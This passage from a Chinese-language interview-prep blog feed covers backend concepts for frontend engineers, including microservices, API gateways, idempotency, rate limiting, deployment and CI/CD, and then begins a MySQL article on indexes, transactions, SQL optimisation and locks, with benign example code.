&lt;h3&gt;Q14: 单体架构和微服务架构的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;单体架构&lt;/th&gt;
&lt;th&gt;微服务架构&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;部署&lt;/td&gt;
&lt;td&gt;一个包（war/jar）&lt;/td&gt;
&lt;td&gt;多个独立服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;技术栈&lt;/td&gt;
&lt;td&gt;统一&lt;/td&gt;
&lt;td&gt;每个服务可不同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;扩展&lt;/td&gt;
&lt;td&gt;整体扩容&lt;/td&gt;
&lt;td&gt;按服务扩容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;故障&lt;/td&gt;
&lt;td&gt;一处挂全挂&lt;/td&gt;
&lt;td&gt;故障隔离&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;通信&lt;/td&gt;
&lt;td&gt;方法调用&lt;/td&gt;
&lt;td&gt;HTTP/RPC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;复杂度&lt;/td&gt;
&lt;td&gt;代码复杂&lt;/td&gt;
&lt;td&gt;运维复杂（分布式问题）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据&lt;/td&gt;
&lt;td&gt;单库&lt;/td&gt;
&lt;td&gt;每服务独立库&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;单体：
┌─────────────────────────┐
│  用户 + 订单 + 支付 + …  │ → 一个数据库
└─────────────────────────┘

微服务：
┌──────┐  ┌──────┐  ┌──────┐
│用户服务│  │订单服务│  │支付服务│
└──┬───┘  └──┬───┘  └──┬───┘
   ↓         ↓         ↓
 用户库    订单库    支付库

服务间通信：
- 同步：HTTP REST / RPC（Dubbo、gRPC）
- 异步：消息队列（RabbitMQ、Kafka、RocketMQ）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;对前端的影响：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;接口域名可能不同 → 需要网关统一入口（如 &lt;code&gt;/api/user/**&lt;/code&gt; 路由到用户服务）&lt;/li&gt;
&lt;li&gt;一个页面可能需要聚合多个服务的数据 → BFF 层的价值&lt;/li&gt;
&lt;li&gt;服务不可用时的降级 → 前端要做好容错和兜底 UI&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q15: API 网关是什么？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;没有网关：前端要记住 N 个服务地址
前端 → 用户服务 :8001
前端 → 订单服务 :8002
前端 → 支付服务 :8003

有网关：统一入口
前端 → 网关 :8080 → 路由分发到各服务

网关的职责：
1. 路由转发（按路径/Header 分发）
2. 统一认证（在网关层校验 Token）
3. 限流熔断（保护后端服务）
4. 日志监控（统一记录请求日志）
5. 协议转换（外部 HTTP → 内部 RPC）
6. 跨域处理（统一配置 CORS）

常见实现：
- Nginx / OpenResty（轻量）
- Kong（基于 OpenResty，插件丰富）
- Spring Cloud Gateway（Java 生态）
- APISIX（国产，高性能）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q16: 什么是消息队列？前端场景有哪些？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;消息队列（MQ）：异步通信的中间件
生产者 → MQ（队列）→ 消费者

三大作用：
1. 异步：下单后发短信/邮件不用同步等待
2. 解耦：订单服务不需要知道谁消费订单消息
3. 削峰：秒杀请求先入队，后端按能力消费

前端相关场景：
- WebSocket 推送：后端消费 MQ 消息后推送给前端
- 大文件处理：上传视频 → MQ → 转码服务 → 完成后通知前端
- 埋点上报：日志采集 → Kafka → 实时计算
- 订单状态轮询优化：MQ + WebSocket 替代轮询
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q17: 接口幂等性是什么？前端如何配合？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;幂等性：同一请求执行一次和执行多次，结果相同。

为什么重要？网络超时重试、用户连点、MQ 重复消费都可能导致重复请求。

场景：
- 支付接口重复调用 → 重复扣款！（必须幂等）
- 创建订单重复提交 → 重复订单！

后端方案：
1. 唯一索引（数据库层兜底）
2. Token 机制：先申请 token，提交时携带并删除（Redis）
3. 乐观锁：UPDATE ... SET stock=stock-1 WHERE id=1 AND version=1
4. 状态机：订单只能从&quot;待支付&quot;→&quot;已支付&quot;，不可逆

前端配合：
1. 按钮防连点：提交后 loading/disabled
2. 唯一请求 ID：生成 requestId 随请求发送
3. 防抖节流：搜索框等高频操作
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 前端防重复提交示例
const submitOrder = async () =&amp;gt; {
  if (submitting.value) return;
  submitting.value = true;   // 立即锁定
  try {
    await api.createOrder({ ...form, requestId: uuid() });
    message.success(&apos;提交成功&apos;);
  } catch (e) {
    message.error(e.message);
  } finally {
    submitting.value = false;
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q18: 什么是限流？常见算法？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;限流：控制单位时间的请求数，保护系统不被打垮。

常见算法：
┌────────────┬──────────────────────────────────┐
│ 固定窗口    │ 每分钟 N 个请求，简单但有临界问题 │
│ 滑动窗口    │ 窗口细分滚动，更平滑              │
│ 漏桶       │ 请求入桶匀速流出，强制恒定速率     │
│ 令牌桶      │ 匀速发令牌，有令牌才能请求，       │
│            │ 允许一定突发流量（最常用）         │
└────────────┴──────────────────────────────────┘

前端遇到 429 Too Many Requests 的处理：
1. 指数退避重试：1s → 2s → 4s → 8s
2. 读取 Retry-After 响应头
3. 请求合并/防抖，减少请求量
4. 提示用户稍后再试
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;部署与运维基础&lt;/h2&gt;
&lt;h3&gt;Q19: 前端项目常见的部署方式？⭐ 🔥&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nginx 静态托管&lt;/td&gt;
&lt;td&gt;dist 目录 + Nginx 配置&lt;/td&gt;
&lt;td&gt;最通用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CDN&lt;/td&gt;
&lt;td&gt;静态资源上传 CDN，就近访问&lt;/td&gt;
&lt;td&gt;大型项目&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;Nginx 镜像 + dist，容器化部署&lt;/td&gt;
&lt;td&gt;微服务环境&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Serverless&lt;/td&gt;
&lt;td&gt;Vercel / Netlify / 云函数&lt;/td&gt;
&lt;td&gt;个人项目、SSR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node SSR&lt;/td&gt;
&lt;td&gt;Node 服务渲染（Nuxt/Next）&lt;/td&gt;
&lt;td&gt;SEO 需求&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;# 前端 Docker 部署典型 Dockerfile（多阶段构建）
# 阶段1：构建
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

# 阶段2：运行（只拷贝 dist，镜像极小）
FROM nginx:alpine
COPY --from=builder /app/dist /usr/share/nginx/html
COPY nginx.conf /etc/nginx/conf.d/default.conf
EXPOSE 80
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q20: CI/CD 是什么？前端项目如何落地？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CI（持续集成）：代码提交后自动构建、测试
CD（持续部署/交付）：构建产物自动部署到环境

典型流水线（GitLab CI / GitHub Actions / Jenkins）：

git push → 触发流水线
  ├─ 1. 安装依赖（npm ci，利用缓存）
  ├─ 2. 代码检查（ESLint / Prettier / commitlint）
  ├─ 3. 单元测试（vitest / jest）
  ├─ 4. 构建（npm run build）
  ├─ 5. 产物上传（OSS / 镜像仓库）
  └─ 6. 部署（测试环境自动 / 生产环境手动审批）

分支策略配合：
- feature/* → 开发分支（自动部署测试环境）
- develop   → 集成测试
- master/main → 生产发布（打 tag，可回滚）

回滚方案：
1. 保留历史版本 dist 目录，Nginx 切换软链
2. Docker 镜像 tag 回退
3. CDN 刷新 + 版本回退
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;RESTful&lt;/strong&gt;：URL 名词化 + HTTP 方法语义化 + 状态码规范&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;401 vs 403&lt;/strong&gt;：未认证（跳登录） vs 未授权（提示无权限）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JWT&lt;/strong&gt;：Header.Payload.Signature，无状态，Payload 不是加密&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OAuth 2.0&lt;/strong&gt;：授权码模式最安全，code 换 token 走后端信道&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Node 事件循环&lt;/strong&gt;：六阶段，setImmediate vs setTimeout，nextTick 优先&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CPU 密集&lt;/strong&gt;：Worker Threads / Cluster / 任务拆分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BFF&lt;/strong&gt;：接口聚合 + 数据裁剪 + 多端适配&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;微服务&lt;/strong&gt;：独立部署 + 故障隔离 + 网关统一入口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;幂等性&lt;/strong&gt;：唯一 ID + Token 机制 + 前端防连点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限流&lt;/strong&gt;：令牌桶最常用，429 + 指数退避重试&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;部署&lt;/strong&gt;：Nginx / Docker 多阶段构建 / CDN&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD&lt;/strong&gt;：提交触发 → 检查 → 测试 → 构建 → 部署 → 可回滚&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-12-typescript/&quot;&gt;TypeScript 进阶面试题&lt;/a&gt; 涵盖泛型、条件类型、infer、映射类型、内置工具类型手写实现、协变逆变等中高级必考的 TS 进阶知识。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Node.js 深化阅读&lt;/strong&gt;：本篇 Q7-Q10 只是 Node.js 的入门，完整的 Node.js 服务端知识（事件循环、Stream、多进程、框架选型、部署运维）详见 &lt;a href=&quot;/blog/posts/interview-guide-19-nodejs/&quot;&gt;Node.js 面试题专篇&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
&lt;strong&gt;面试冲刺建议&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;优先复习所有标注 🔥 的高频考点&lt;/li&gt;
&lt;li&gt;每篇文章末尾的复习卡片过一遍，卡壳的知识点回原文精读&lt;/li&gt;
&lt;li&gt;结合自己的项目经历，把知识点转化为「场景 + 方案 + 结果」的 STAR 表述&lt;/li&gt;
&lt;li&gt;手写代码题（防抖节流、深拷贝、Promise.all、并发控制）务必练熟，详见 &lt;a href=&quot;/blog/posts/interview-guide-14-handwritten-code/&quot;&gt;手写代码题专篇&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>MySQL 面试题（前端工程师必备后端知识）</title><link>http://117.72.32.87/blog/posts/interview-guide-10-mysql/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-10-mysql/</guid><description>讲解索引原理（B+树）、事务 ACID 与隔离级别、SQL 优化、锁机制、分库分表等前端工程师需要了解的后端知识。</description><pubDate>Wed, 16 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 20+ 道 MySQL 面试题，面向需要了解后端知识的中高级前端工程师，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;索引&lt;/h2&gt;
&lt;h3&gt;Q1: MySQL 索引的类型？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;索引类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;主键索引 (PRIMARY KEY)&lt;/td&gt;
&lt;td&gt;唯一标识，不允许 NULL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;唯一索引 (UNIQUE)&lt;/td&gt;
&lt;td&gt;值唯一，允许 NULL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;普通索引 (INDEX)&lt;/td&gt;
&lt;td&gt;最基本的索引&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;联合索引 (COMPOSITE)&lt;/td&gt;
&lt;td&gt;多列组合索引&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;全文索引 (FULLTEXT)&lt;/td&gt;
&lt;td&gt;文本搜索&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;-- 创建索引
CREATE INDEX idx_username ON users(username);
CREATE UNIQUE INDEX idx_email ON users(email);
CREATE INDEX idx_name_age ON users(name, age);  -- 联合索引

-- 查看索引
SHOW INDEX FROM users;

-- 删除索引
DROP INDEX idx_username ON users;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: 为什么使用 B+ 树而不是 B 树？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;B 树：
        [30|60]
       /   |   \
   [10|20] [40|50] [70|80]
   (数据存储在内部节点)

B+ 树：
        [30|60]           ← 内部节点只存键值
       /   |   \
   [10|20] [40|50] [70|80]
      ↓       ↓       ↓
   [data]  [data]  [data]  ← 叶子节点存数据
      ↔       ↔       ↔    ← 叶子节点链表相连
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;B+ 树优势：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;B 树&lt;/th&gt;
&lt;th&gt;B+ 树&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;数据存储位置&lt;/td&gt;
&lt;td&gt;所有节点&lt;/td&gt;
&lt;td&gt;只在叶子节点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;叶子节点链表&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;有（便于范围查询）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;查询稳定性&lt;/td&gt;
&lt;td&gt;不稳定（可能在内部节点找到）&lt;/td&gt;
&lt;td&gt;稳定（必须到叶子节点）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;磁盘 I/O&lt;/td&gt;
&lt;td&gt;较多&lt;/td&gt;
&lt;td&gt;较少（内部节点更小）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;范围查询&lt;/td&gt;
&lt;td&gt;需要中序遍历&lt;/td&gt;
&lt;td&gt;链表顺序扫描&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Q3: 聚簇索引和非聚簇索引的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;聚簇索引（InnoDB 主键）：
┌─────────────────────────────────┐
│  B+ 树叶子节点存储完整行数据    │
│  数据即索引，索引即数据         │
└─────────────────────────────────┘

非聚簇索引（二级索引）：
┌─────────────────────────────────┐
│  B+ 树叶子节点存储主键值        │
│  需要&quot;回表&quot;查询完整数据         │
└─────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;-- 回表示例
SELECT * FROM users WHERE name = &apos;Tom&apos;;
-- 1. 在 name 索引树找到主键 id = 100
-- 2. 在主键索引树找到 id = 100 的完整行数据（回表）

-- 避免回表：覆盖索引
SELECT id, name FROM users WHERE name = &apos;Tom&apos;;
-- name 索引已包含 id 和 name，无需回表
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: 最左前缀原则？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;联合索引 &lt;code&gt;(a, b, c)&lt;/code&gt; 的查询规则：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- ✅ 命中索引
WHERE a = 1                    -- 命中 a
WHERE a = 1 AND b = 2          -- 命中 a, b
WHERE a = 1 AND b = 2 AND c = 3 -- 命中 a, b, c

-- ❌ 不命中或部分命中
WHERE b = 2                    -- 不命中（缺少最左列 a）
WHERE c = 3                    -- 不命中
WHERE b = 2 AND c = 3          -- 不命中

-- ⚠️ 范围查询后停止
WHERE a = 1 AND b &amp;gt; 2 AND c = 3  -- 命中 a, b（c 不命中，范围后停止）

-- ✅ 索引下推（MySQL 5.6+）
WHERE a = 1 AND b LIKE &apos;%test%&apos; AND c = 3
-- ICP 优化：在索引层过滤 b，减少回表
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: 索引失效的情况？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-- 1. 对索引列使用函数
WHERE YEAR(create_time) = 2024        -- ❌ 失效
WHERE create_time &amp;gt;= &apos;2024-01-01&apos;     -- ✅ 命中

-- 2. 隐式类型转换
WHERE phone = 13800138000             -- ❌ phone 是 varchar，数字会转换
WHERE phone = &apos;13800138000&apos;           -- ✅ 命中

-- 3. LIKE 以 % 开头
WHERE name LIKE &apos;%Tom&apos;                -- ❌ 失效
WHERE name LIKE &apos;Tom%&apos;                -- ✅ 命中

-- 4. OR 条件有非索引列
WHERE name = &apos;Tom&apos; OR age = 20        -- ❌ age 无索引，全表扫描

-- 5. != 和 NOT IN
WHERE status != 1                     -- ❌ 可能失效
WHERE status NOT IN (1, 2)            -- ❌ 可能失效

-- 6. IS NULL / IS NOT NULL（视数据分布）
WHERE name IS NULL                    -- 可能失效

-- 7. 联合索引不满足最左前缀
-- 见上题
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;事务&lt;/h2&gt;
&lt;h3&gt;Q6: 事务的 ACID 特性？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;实现机制&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A&lt;/strong&gt; (Atomicity) 原子性&lt;/td&gt;
&lt;td&gt;事务要么全成功，要么全失败&lt;/td&gt;
&lt;td&gt;undo log&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;C&lt;/strong&gt; (Consistency) 一致性&lt;/td&gt;
&lt;td&gt;事务前后数据状态一致&lt;/td&gt;
&lt;td&gt;其他三个特性保证&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;I&lt;/strong&gt; (Isolation) 隔离性&lt;/td&gt;
&lt;td&gt;并发事务互不干扰&lt;/td&gt;
&lt;td&gt;锁 + MVCC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;D&lt;/strong&gt; (Durability) 持久性&lt;/td&gt;
&lt;td&gt;提交后数据永久保存&lt;/td&gt;
&lt;td&gt;redo log&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;-- 事务示例
START TRANSACTION;

UPDATE account SET balance = balance - 100 WHERE id = 1;
UPDATE account SET balance = balance + 100 WHERE id = 2;

COMMIT;  -- 或 ROLLBACK;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: 事务隔离级别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;隔离级别&lt;/th&gt;
&lt;th&gt;脏读&lt;/th&gt;
&lt;th&gt;不可重复读&lt;/th&gt;
&lt;th&gt;幻读&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;READ UNCOMMITTED&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;READ COMMITTED&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;REPEATABLE READ (MySQL默认)&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅*&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SERIALIZABLE&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;-- 查看隔离级别
SELECT @@transaction_isolation;

-- 设置隔离级别
SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;并发问题解释：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- 脏读：读到未提交的数据
-- 事务A修改数据但未提交，事务B读到了修改后的值

-- 不可重复读：同一事务内两次读取结果不同
-- 事务A读取数据，事务B修改并提交，事务A再次读取发现变了

-- 幻读：同一事务内两次查询行数不同
-- 事务A查询10行，事务B插入新行，事务A再查询变成11行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;MVCC（多版本并发控制）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MySQL InnoDB 通过 MVCC 实现 REPEATABLE READ 下的非锁定读：

每行数据隐藏列：
- trx_id：最后修改的事务ID
- roll_pointer：指向 undo log 的指针

读取时根据 Read View 判断可见性：
- 事务开始时创建 Read View
- 读取时沿着 roll_pointer 找到可见版本
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;SQL 优化&lt;/h2&gt;
&lt;h3&gt;Q8: 如何分析慢 SQL？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- 1. 开启慢查询日志
SET GLOBAL slow_query_log = &apos;ON&apos;;
SET GLOBAL long_query_time = 1;  -- 超过1秒记录

-- 2. EXPLAIN 分析执行计划
EXPLAIN SELECT * FROM users WHERE name = &apos;Tom&apos;;

-- 关键字段
-- id: 查询序号
-- select_type: 查询类型（SIMPLE/PRIMARY/SUBQUERY）
-- table: 表名
-- type: 访问类型（性能从好到差）
--   system &amp;gt; const &amp;gt; eq_ref &amp;gt; ref &amp;gt; range &amp;gt; index &amp;gt; ALL
-- possible_keys: 可能使用的索引
-- key: 实际使用的索引
-- rows: 预估扫描行数
-- Extra: 额外信息
--   Using index: 覆盖索引（好）
--   Using where: 需要过滤
--   Using filesort: 需要额外排序（差）
--   Using temporary: 使用临时表（差）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: SQL 优化技巧？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-- 1. 避免 SELECT *
SELECT id, name, email FROM users;  -- ✅ 只查需要的列

-- 2. 使用 LIMIT 分页
SELECT * FROM orders ORDER BY id LIMIT 100000, 10;  -- ❌ 深分页慢
-- 优化：延迟关联
SELECT o.* FROM orders o
INNER JOIN (SELECT id FROM orders ORDER BY id LIMIT 100000, 10) t
ON o.id = t.id;  -- ✅

-- 3. 小表驱动大表
-- IN 适合子查询结果集小
SELECT * FROM users WHERE id IN (SELECT user_id FROM orders WHERE amount &amp;gt; 100);
-- EXISTS 适合外表小
SELECT * FROM users u WHERE EXISTS (SELECT 1 FROM orders o WHERE o.user_id = u.id);

-- 4. 批量操作
INSERT INTO users (name, age) VALUES (&apos;A&apos;, 20), (&apos;B&apos;, 21), (&apos;C&apos;, 22);  -- ✅ 批量
-- 而不是循环单条插入

-- 5. 使用连接查询替代子查询
SELECT u.*, o.amount FROM users u
JOIN orders o ON u.id = o.user_id;  -- ✅ 通常比子查询快

-- 6. 合理使用索引
-- WHERE、ORDER BY、GROUP BY 的列加索引
-- 联合索引把区分度高的列放前面

-- 7. 避免大事务
-- 大事务占用锁时间长，影响并发
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;锁机制&lt;/h2&gt;
&lt;h3&gt;Q10: MySQL 有哪些锁？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;锁类型&lt;/th&gt;
&lt;th&gt;粒度&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;表锁&lt;/td&gt;
&lt;td&gt;表&lt;/td&gt;
&lt;td&gt;开销小，并发低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;行锁&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;td&gt;开销大，并发高（InnoDB）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;共享锁 (S)&lt;/td&gt;
&lt;td&gt;行/表&lt;/td&gt;
&lt;td&gt;读锁，允许并发读&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;排他锁 (X)&lt;/td&gt;
&lt;td&gt;行/表&lt;/td&gt;
&lt;td&gt;写锁，阻塞其他读写&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;间隙锁 (Gap)&lt;/td&gt;
&lt;td&gt;范围&lt;/td&gt;
&lt;td&gt;防止幻读&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;临键锁 (Next-Key)&lt;/td&gt;
&lt;td&gt;行+间隙&lt;/td&gt;
&lt;td&gt;InnoDB 默认&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;-- 共享锁（读锁）
SELECT * FROM users WHERE id = 1 LOCK IN SHARE MODE;

-- 排他锁（写锁）
SELECT * FROM users WHERE id = 1 FOR UPDATE;

-- 死锁示例
-- 事务A：UPDATE users SET ... WHERE id = 1;
-- 事务B：UPDATE users SET ... WHERE id = 2;
-- 事务A：UPDATE users SET ... WHERE id = 2;  -- 等待B
-- 事务B：UPDATE users SET ... WHERE id = 1;  -- 等待A，死锁！

-- InnoDB 自动检测死锁，回滚代价小的事务
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
